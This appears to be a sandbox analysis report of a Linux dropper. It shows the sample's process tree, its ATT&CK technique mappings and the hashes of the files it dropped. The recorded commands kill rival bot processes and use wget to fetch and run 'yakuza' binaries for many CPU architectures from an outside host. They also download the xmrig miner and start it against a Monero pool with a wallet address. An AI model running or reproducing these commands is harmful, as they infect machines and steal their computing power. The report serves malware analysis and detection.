    sh -c "pkill -9 2wgg9qphbq || busybox pkill -9 2wgg9qphbq"
    3⤵
    PID:1082
  - - /usr/bin/pkill
      pkill -9 2wgg9qphbq
      4⤵
      PID:1083
  - - /bin/busybox
      busybox pkill -9 2wgg9qphbq
      4⤵
      PID:1084
- - /bin/sh
    sh -c "pkill -9 Slav3Th3seD3vices || busybox pkill -9 Slav3Th3seD3vices"
    3⤵
    PID:1085
  - - /usr/bin/pkill
      pkill -9 Slav3Th3seD3vices
      4⤵
      Reads CPU attributes
      PID:1086
  - - /bin/busybox
      busybox pkill -9 Slav3Th3seD3vices
      4⤵
      PID:1087
- - /bin/sh
    sh -c "pkill -9 hzSmYZjYMQ || busybox pkill -9 hzSmYZjYMQ"
    3⤵
    PID:1088
  - - /usr/bin/pkill
      pkill -9 hzSmYZjYMQ
      4⤵
      Reads CPU attributes
      PID:1089
  - - /bin/busybox
      busybox pkill -9 hzSmYZjYMQ
      4⤵
      PID:1090
- - /bin/sh
    sh -c "pkill -9 5Gbf || busybox pkill -9 5Gbf"
    3⤵
    PID:1091
  - - /usr/bin/pkill
      pkill -9 5Gbf
      4⤵
      Reads runtime system information
      PID:1092
  - - /bin/busybox
      busybox pkill -9 5Gbf
      4⤵
      PID:1093
- - /bin/sh
    sh -c "pkill -9 SoRAxD123LOL || busybox pkill -9 SoRAxD123LOL"
    3⤵
    PID:1094
  - - /usr/bin/pkill
      pkill -9 SoRAxD123LOL
      4⤵
      PID:1095
  - - /bin/busybox
      busybox pkill -9 SoRAxD123LOL
      4⤵
      PID:1096
- - /bin/sh
    sh -c "pkill -9 iaGv || busybox pkill -9 iaGv"
    3⤵
    PID:1097
  - - /usr/bin/pkill
      pkill -9 iaGv
      4⤵
      Reads runtime system information
      PID:1098
  - - /bin/busybox
      busybox pkill -9 iaGv
      4⤵
      PID:1099
- - /bin/sh
    sh -c "pkill -9 5aA3 || busybox pkill -9 5aA3"
    3⤵
    PID:1100
  - - /usr/bin/pkill
      pkill -9 5aA3
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1101
  - - /bin/busybox
      busybox pkill -9 5aA3
      4⤵
      PID:1102
- - /bin/sh
    sh -c "pkill -9 SoRAxD420LOL || busybox pkill -9 SoRAxD420LOL"
    3⤵
    PID:1103
  - - /usr/bin/pkill
      pkill -9 SoRAxD420LOL
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1104
  - - /bin/busybox
      busybox pkill -9 SoRAxD420LOL
      4⤵
      PID:1105
- - /bin/sh
    sh -c "pkill -9 insomni || busybox pkill -9 insomni"
    3⤵
    PID:1106
  - - /usr/bin/pkill
      pkill -9 insomni
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1107
  - - /bin/busybox
      busybox pkill -9 insomni
      4⤵
      PID:1108
- - /bin/sh
    sh -c "pkill -9 640277 || busybox pkill -9 640277"
    3⤵
    PID:1109
  - - /usr/bin/pkill
      pkill -9 640277
      4⤵
      Reads CPU attributes
      PID:1110
  - - /bin/busybox
      busybox pkill -9 640277
      4⤵
      PID:1111
- - /bin/sh
    sh -c "pkill -9 SoraBeReppin1337 || busybox pkill -9 SoraBeReppin1337"
    3⤵
    PID:1112
  - - /usr/bin/pkill
      pkill -9 SoraBeReppin1337
      4⤵
      Reads runtime system information
      PID:1113
  - - /bin/busybox
      busybox pkill -9 SoraBeReppin1337
      4⤵
      PID:1114
- - /bin/sh
    sh -c "pkill -9 ipcamCache || busybox pkill -9 ipcamCache"
    3⤵
    - System Network Configuration Discovery
    PID:1115
  - - /usr/bin/pkill
      pkill -9 ipcamCache
      4⤵
      Reads runtime system information
      System Network Configuration Discovery
      PID:1116
  - - /bin/busybox
      busybox pkill -9 ipcamCache
      4⤵
      System Network Configuration Discovery
      PID:1117
- - /bin/sh
    sh -c "pkill -9 66tlGg9Q || busybox pkill -9 66tlGg9Q"
    3⤵
    PID:1118
  - - /usr/bin/pkill
      pkill -9 66tlGg9Q
      4⤵
      Reads runtime system information
      PID:1119
  - - /bin/busybox
      busybox pkill -9 66tlGg9Q
      4⤵
      PID:1120
- - /bin/sh
    sh -c "pkill -9 T || busybox pkill -9 T"
    3⤵
    PID:1121
  - - /usr/bin/pkill
      pkill -9 T
      4⤵
      Reads runtime system information
      PID:1122
  - - /bin/busybox
      busybox pkill -9 T
      4⤵
      PID:1123
- - /bin/sh
    sh -c "pkill -9 jUYfouyf87 || busybox pkill -9 jUYfouyf87"
    3⤵
    PID:1124
  - - /usr/bin/pkill
      pkill -9 jUYfouyf87
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1125
  - - /bin/busybox
      busybox pkill -9 jUYfouyf87
      4⤵
      PID:1126
- - /bin/sh
    sh -c "pkill -9 6ke3 || busybox pkill -9 6ke3"
    3⤵
    PID:1127
  - - /usr/bin/pkill
      pkill -9 6ke3
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1128
  - - /bin/busybox
      busybox pkill -9 6ke3
      4⤵
      PID:1129
- - /bin/sh
    sh -c "pkill -9 TOKYO3 || busybox pkill -9 TOKYO3"
    3⤵
    PID:1130
  - - /usr/bin/pkill
      pkill -9 TOKYO3
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1131
  - - /bin/busybox
      busybox pkill -9 TOKYO3
      4⤵
      PID:1132
- - /bin/sh
    sh -c "pkill -9 lyEeaXul2dULCVxh || busybox pkill -9 lyEeaXul2dULCVxh"
    3⤵
    PID:1133
  - - /usr/bin/pkill
      pkill -9 lyEeaXul2dULCVxh
      4⤵
      PID:1134
  - - /bin/busybox
      busybox pkill -9 lyEeaXul2dULCVxh
      4⤵
      PID:1135
- - /bin/sh
    sh -c "pkill -9 93OfjHZ2z || busybox pkill -9 93OfjHZ2z"
    3⤵
    PID:1136
  - - /usr/bin/pkill
      pkill -9 93OfjHZ2z
      4⤵
      Reads CPU attributes
      PID:1137
  - - /bin/busybox
      busybox pkill -9 93OfjHZ2z
      4⤵
      PID:1138
- - /bin/sh
    sh -c "pkill -9 TY2gD6MZvKc7KU6r || busybox pkill -9 TY2gD6MZvKc7KU6r"
    3⤵
    PID:1139
  - - /usr/bin/pkill
      pkill -9 TY2gD6MZvKc7KU6r
      4⤵
      PID:1140
  - - /bin/busybox
      busybox pkill -9 TY2gD6MZvKc7KU6r
      4⤵
      PID:1141
- - /bin/sh
    sh -c "pkill -9 mMkiy6f87l || busybox pkill -9 mMkiy6f87l"
    3⤵
    PID:1142
  - - /usr/bin/pkill
      pkill -9 mMkiy6f87l
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1143
  - - /bin/busybox
      busybox pkill -9 mMkiy6f87l
      4⤵
      PID:1144
- - /bin/sh
    sh -c "pkill -9 A023UU4U24UIU || busybox pkill -9 A023UU4U24UIU"
    3⤵
    PID:1145
  - - /usr/bin/pkill
      pkill -9 A023UU4U24UIU
      4⤵
      Reads runtime system information
      PID:1146
  - - /bin/busybox
      busybox pkill -9 A023UU4U24UIU
      4⤵
      PID:1147
- - /bin/sh
    sh -c "pkill -9 TheWeeknd || busybox pkill -9 TheWeeknd"
    3⤵
    PID:1148
  - - /usr/bin/pkill
      pkill -9 TheWeeknd
      4⤵
      Reads CPU attributes
      PID:1149
  - - /bin/busybox
      busybox pkill -9 TheWeeknd
      4⤵
      PID:1150
- - /bin/sh
    sh -c "pkill -9 mioribitches || busybox pkill -9 mioribitches"
    3⤵
    PID:1151
  - - /usr/bin/pkill
      pkill -9 mioribitches
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1152
  - - /bin/busybox
      busybox pkill -9 mioribitches
      4⤵
      PID:1153
- - /bin/sh
    sh -c "pkill -9 A5p9 || busybox pkill -9 A5p9"
    3⤵
    PID:1154
  - - /usr/bin/pkill
      pkill -9 A5p9
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1155
  - - /bin/busybox
      busybox pkill -9 A5p9
      4⤵
      PID:1156
- - /bin/sh
    sh -c "pkill -9 TheWeeknds || busybox pkill -9 TheWeeknds"
    3⤵
    PID:1157
  - - /usr/bin/pkill
      pkill -9 TheWeeknds
      4⤵
      Reads CPU attributes
      PID:1158
  - - /bin/busybox
      busybox pkill -9 TheWeeknds
      4⤵
      PID:1159
- - /bin/sh
    sh -c "pkill -9 mnblkjpoi || busybox pkill -9 mnblkjpoi"
    3⤵
    PID:1160
  - - /usr/bin/pkill
      pkill -9 mnblkjpoi
      4⤵
      PID:1161
  - - /bin/busybox
      busybox pkill -9 mnblkjpoi
      4⤵
      PID:1162
- - /bin/sh
    sh -c "pkill -9 AbAd || busybox pkill -9 AbAd"
    3⤵
    PID:1163
  - - /usr/bin/pkill
      pkill -9 AbAd
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1164
  - - /bin/busybox
      busybox pkill -9 AbAd
      4⤵
      PID:1165
- - /bin/sh
    sh -c "pkill -9 Tokyos || busybox pkill -9 Tokyos"
    3⤵
    PID:1166
  - - /usr/bin/pkill
      pkill -9 Tokyos
      4⤵
      Reads CPU attributes
      PID:1167
  - - /bin/busybox
      busybox pkill -9 Tokyos
      4⤵
      PID:1168
- - /bin/sh
    sh -c "pkill -9 neb || busybox pkill -9 neb"
    3⤵
    PID:1169
  - - /usr/bin/pkill
      pkill -9 neb
      4⤵
      Reads CPU attributes
      Reads runtime system information
      PID:1170
  - - /bin/busybox
      busybox pkill -9 neb
      4⤵
      PID:1171
- - /bin/sh
    sh -c "pkill -9 Akiru || busybox pkill -9 Akiru"
    3⤵
    PID:1172
  - - /usr/bin/pkill
      pkill -9 Akiru
      4⤵
      Reads CPU attributes
      PID:1173
  - - /bin/busybox
      busybox pkill -9 Akiru
      4⤵
      PID:1174
- - /bin/sh
    sh -c "pkill -9 U8inTz || busybox pkill -9 U8inTz"
    3⤵
    PID:1175
  - - /usr/bin/pkill
      pkill -9 U8inTz
      4⤵
      PID:1176
  - - /bin/busybox
      busybox pkill -9 U8inTz
      4⤵
      PID:1177
- /bin/rm
  rm -rf yakuza.mips
  2⤵
  - System Network Configuration Discovery
  PID:739
- /usr/bin/wget
  wget http://linux-it.abuser.eu/yakuza.mipsel
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /bin/chmod
  chmod +x yakuza.mipsel
  2⤵
  - File and Directory Permissions Modification
  PID:750
- /tmp/yakuza.mipsel
  ./yakuza.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:751
- /bin/rm
  rm -rf yakuza.mipsel
  2⤵
  - System Network Configuration Discovery
  PID:753
- /usr/bin/wget
  wget http://linux-it.abuser.eu/yakuza.sh
  2⤵
  - Writes file to tmp directory
  PID:754
- /bin/chmod
  chmod +x yakuza.sh
  2⤵
  - File and Directory Permissions Modification
  PID:761
- /tmp/yakuza.sh
  ./yakuza.sh
  2⤵
  PID:762
- /bin/rm
  rm -rf yakuza.sh
  2⤵
  PID:764
- /usr/bin/wget
  wget http://linux-it.abuser.eu/yakuza.x86
  2⤵
  - Writes file to tmp directory
  PID:765
- /bin/chmod
  chmod +x yakuza.x86
  2⤵
  - File and Directory Permissions Modification
  PID:770
- /tmp/yakuza.x86
  ./yakuza.x86
  2⤵
  PID:772
- /bin/rm
  rm -rf yakuza.x86
  2⤵
  PID:774
- /usr/bin/wget
  wget http://linux-it.abuser.eu/yakuza.arm6
  2⤵
  - Writes file to tmp directory
  PID:776
- /bin/chmod
  chmod +x yakuza.arm6
  2⤵
  - File and Directory Permissions Modification
  PID:780
- /tmp/yakuza.arm6
  ./yakuza.arm6
  2⤵
  PID:781
- /bin/rm
  rm -rf yakuza.arm6
  2⤵
  PID:783
- /usr/bin/wget
  wget http://linux-it.abuser.eu/yakuza.i686
  2⤵
  - Writes file to tmp directory
  PID:784
- /bin/chmod
  chmod +x yakuza.i686
  2⤵
  - File and Directory Permissions Modification
  PID:791
- /tmp/yakuza.i686
  ./yakuza.i686
  2⤵
  PID:792
- /bin/rm
  rm -rf yakuza.i686
  2⤵
  PID:794
- /usr/bin/wget
  wget http://linux-it.abuser.eu/yakuza.ppc
  2⤵
  - Writes file to tmp directory
  PID:795
- /bin/chmod
  chmod +x yakuza.ppc
  2⤵
  - File and Directory Permissions Modification
  PID:812
- /tmp/yakuza.ppc
  ./yakuza.ppc
  2⤵
  PID:813
- /bin/rm
  rm -rf yakuza.ppc
  2⤵
  PID:818
- /usr/bin/wget
  wget http://linux-it.abuser.eu/yakuza.i586
  2⤵
  - Writes file to tmp directory
  PID:820
- /bin/chmod
  chmod +x yakuza.i586
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/yakuza.i586
  ./yakuza.i586
  2⤵
  PID:836
- /bin/rm
  rm -rf yakuza.i586
  2⤵
  PID:840
- /usr/bin/wget
  wget http://linux-it.abuser.eu/yakuza.m68k
  2⤵
  - Writes file to tmp directory
  PID:843
- /bin/chmod
  chmod +x yakuza.m68k
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/yakuza.m68k
  ./yakuza.m68k
  2⤵
  PID:869
- /bin/rm
  rm -rf yakuza.m68k
  2⤵
  PID:873
- /usr/bin/wget
  wget http://linux-it.abuser.eu/yakuza.arm4
  2⤵
  - Writes file to tmp directory
  PID:875
- /bin/chmod
  chmod +x yakuza.arm4
  2⤵
  - File and Directory Permissions Modification
  PID:879
- /tmp/yakuza.arm4
  ./yakuza.arm4
  2⤵
  PID:880
- /bin/rm
  rm -rf yakuza.arm4
  2⤵
  PID:886
- /usr/bin/wget
  wget http://linux-it.abuser.eu/yakuza.arm5
  2⤵
  - Writes file to tmp directory
  PID:888
- /bin/chmod
  chmod +x yakuza.arm5
  2⤵
  - File and Directory Permissions Modification
  PID:905
- /tmp/yakuza.arm5
  ./yakuza.arm5
  2⤵
  PID:908
- /bin/rm
  rm -rf yakuza.arm5
  2⤵
  PID:921
- /usr/bin/wget
  wget http://linux-it.abuser.eu/yakuza.arm7
  2⤵
  - Writes file to tmp directory
  PID:922
- /bin/chmod
  chmod +x yakuza.arm7
  2⤵
  - File and Directory Permissions Modification
  PID:927
- /tmp/yakuza.arm7
  ./yakuza.arm7
  2⤵
  PID:928
- /bin/rm
  rm -rf yakuza.arm7
  2⤵
  PID:932
- /usr/bin/wget
  wget http://linux-it.abuser.eu/yakuza.sparc
  2⤵
  - Writes file to tmp directory
  PID:933
- /bin/chmod
  chmod +x yakuza.sparc
  2⤵
  - File and Directory Permissions Modification
  PID:939
- /tmp/yakuza.sparc
  ./yakuza.sparc
  2⤵
  PID:941
- /bin/rm
  rm -rf yakuza.sparc
  2⤵
  PID:943
- /bin/bash
  bash
  2⤵
  PID:945
- - /bin/ps
    ps x
    3⤵
    - Reads runtime system information
    PID:947
- - /bin/grep
    grep -v grep
    3⤵
    PID:949
- - /bin/grep
    grep xmrig
    3⤵
    PID:948
- - /bin/grep
    grep 45RjcttikAkHAhhBZiLKCZFasC98mrfJ2aJkZasQgr4hUwYkB2QPWqUZnxDuwBVjveT59ZbF2xdmVDQQYdU8EQdhVaJ7amW
    3⤵
    PID:950
- - /usr/bin/curl
    curl -O ftp://linux-it.abuser.eu/xmrig-lnx/xmrig
    3⤵
    - Writes file to tmp directory
    PID:954
- - /bin/chmod
    chmod +x xmrig
    3⤵
    - File and Directory Permissions Modification
    PID:992
- /usr/bin/curl
  curl -s http://linux-it.abuser.eu/test.php
  2⤵
  PID:944

/usr/bin/nohup
nohup ./xmrig --url gulf.moneroocean.stream:443 --user 45RjcttikAkHAhhBZiLKCZFasC98mrfJ2aJkZasQgr4hUwYkB2QPWqUZnxDuwBVjveT59ZbF2xdmVDQQYdU8EQdhVaJ7amW --pass worker397 --tls "--cpu-priority=3" "--asm=auto"
1⤵
PID:993

/tmp/xmrig
./xmrig --url gulf.moneroocean.stream:443 --user 45RjcttikAkHAhhBZiLKCZFasC98mrfJ2aJkZasQgr4hUwYkB2QPWqUZnxDuwBVjveT59ZbF2xdmVDQQYdU8EQdhVaJ7amW --pass worker397 --tls "--cpu-priority=3" "--asm=auto"
1⤵
- Executes dropped EXE
PID:993

/bin/sh
/bin/sh ./xmrig --url gulf.moneroocean.stream:443 --user 45RjcttikAkHAhhBZiLKCZFasC98mrfJ2aJkZasQgr4hUwYkB2QPWqUZnxDuwBVjveT59ZbF2xdmVDQQYdU8EQdhVaJ7amW --pass worker397 --tls "--cpu-priority=3" "--asm=auto"
1⤵
- Writes file to tmp directory
PID:993

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

/tmp/xmrig

Filesize
7.9MB

MD5
8f4fff0ded94f1141768220906abfbb8

SHA1
ea7c97294f415dc8713ac8c280b3123da62f6e56

SHA256
b0e1ae6d73d656b203514f498b59cbcf29f067edf6fbd3803a3de7d21960848d

SHA512
0096072a1482f8e7999867baa3dd6e96d51591e9f7645c9ff276b53984957025c83e1fe52e5c4f55639eeed2bdbd80bbd57d7dacd84468ce09c834e39dfc4bee

Download Submit
/tmp/yakuza.mips

Filesize
183KB

MD5
371732a722f576ce663cf832412521a8

SHA1
7d8f25bfc26af545c568ffc5c0afe8c4cd35de40

SHA256
11bd15eeca11f8fcb46cce41f4387505027446b5ba8774d2b7bd759bcdb1b9d0

SHA512
c2174eeaf058a5d78d2bb7e417373c56d5b407072de68aaae33c690fd14b93a033ef4aeb18f9a364541e51b6cfc0a28c93efbb4a1857a15b875d420e9886c014

Download Submit